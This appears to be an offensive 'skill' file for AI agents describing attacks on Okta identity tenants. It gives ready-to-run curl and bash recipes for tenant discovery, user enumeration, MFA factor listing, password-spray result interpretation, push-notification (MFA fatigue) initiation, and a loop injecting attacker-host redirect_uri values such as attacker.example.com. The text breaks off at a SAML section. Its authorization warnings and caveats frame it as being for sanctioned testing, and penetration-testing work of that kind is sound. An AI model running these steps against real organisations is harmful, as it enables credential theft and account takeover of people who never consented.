okta-attack – Other skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use this skill

Trigger when:

• DNS shows <tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)
• Login flow redirects to <tenant>.okta.com/login or /app/<app_id>/sso/saml
• Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
• Recon notes "uses Okta for SSO"
• A target has *.okta.com SAN in TLS cert
• Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

• Entra ID (use m365-entra-attack instead)
• Google Workspace (use google-workspace-attack — not yet built)
• ADFS (different protocol, on-prem)

---

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl -sS --max-time 10 --max-redirs 0 -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

---

User enumeration

Method 1 — /api/v1/authn differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   403 + "errorCode":"E0000119" → locked recovery exception (context-dependent)
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — Timing limitations

The /me route refers to an authenticated caller, not an arbitrary username. Timing differences alone do not establish user existence.

Method 3 — Sign-in widget JS endpoint

curl -sS --max-time 10 "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:

[email protected]
[email protected]  
[email protected]
[email protected]

Method 5 — OIDC /v1/authorize with login_hint

# Tampering with login_hint param can reveal user existence on some configs
curl -sS --max-time 10I "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# A redirect difference alone does not establish existence; compare controlled accounts and complete policy context.

---

Authentication flow analysis (always do this first)

# Initial auth — observe what factors come back
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

The following is a hypothetical successful-primary-auth transaction, not the result of an intentionally invalid password. Classic Authn and Identity Engine flows differ:

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:

• webauthn (FIDO2) — phishing-resistant
• question (security questions) — extremely weak; KBA attacks
• sms / call — phishing-able (push notification fatigue, SIM swap)
• push — phishing-able via MFA fatigue
• email — phishing-able if attacker has email read access
• totp — phishing-able via AiTM

---

Password spray (with Okta-specific lockout discipline)

Lockout policy

Obtain the actual org policy and known current failure counters; no request count guarantees avoidance of lockout.

Discipline:

• Use only designated test accounts and an explicitly agreed attempt budget; no production-account spraying from this recipe.
• Track per-user in atomic state file
• Stop on first valid hit OR if LOCKED rate exceeds threshold

Spray endpoint

# Same /api/v1/authn — see authentication flow above

Status codes to watch for

| Response | Meaning |

|---|---|

| 200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |

| 200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |

| 200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |

| 200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |

| 401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |

| 403 E0000119 | Locked recovery exception; not a general auth-user oracle |

| 429 | Rate-limit hit |

---

Push-notification fatigue (MFA bombing)

If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.

⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.

Active push initiation (not passive detection)

# Initiate factor verification
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

---

OIDC redirect_uri tampering

Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:

# Get the app's authorize endpoint
curl -sS --max-time 10 "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# A 302 alone is inconclusive. Distinguish error redirects and approved URIs; code theft additionally requires controlled code issuance and proof of applicable state/PKCE/client protections.

---

SAML SP misconfiguration check (per-ap

… (full content is in the download package)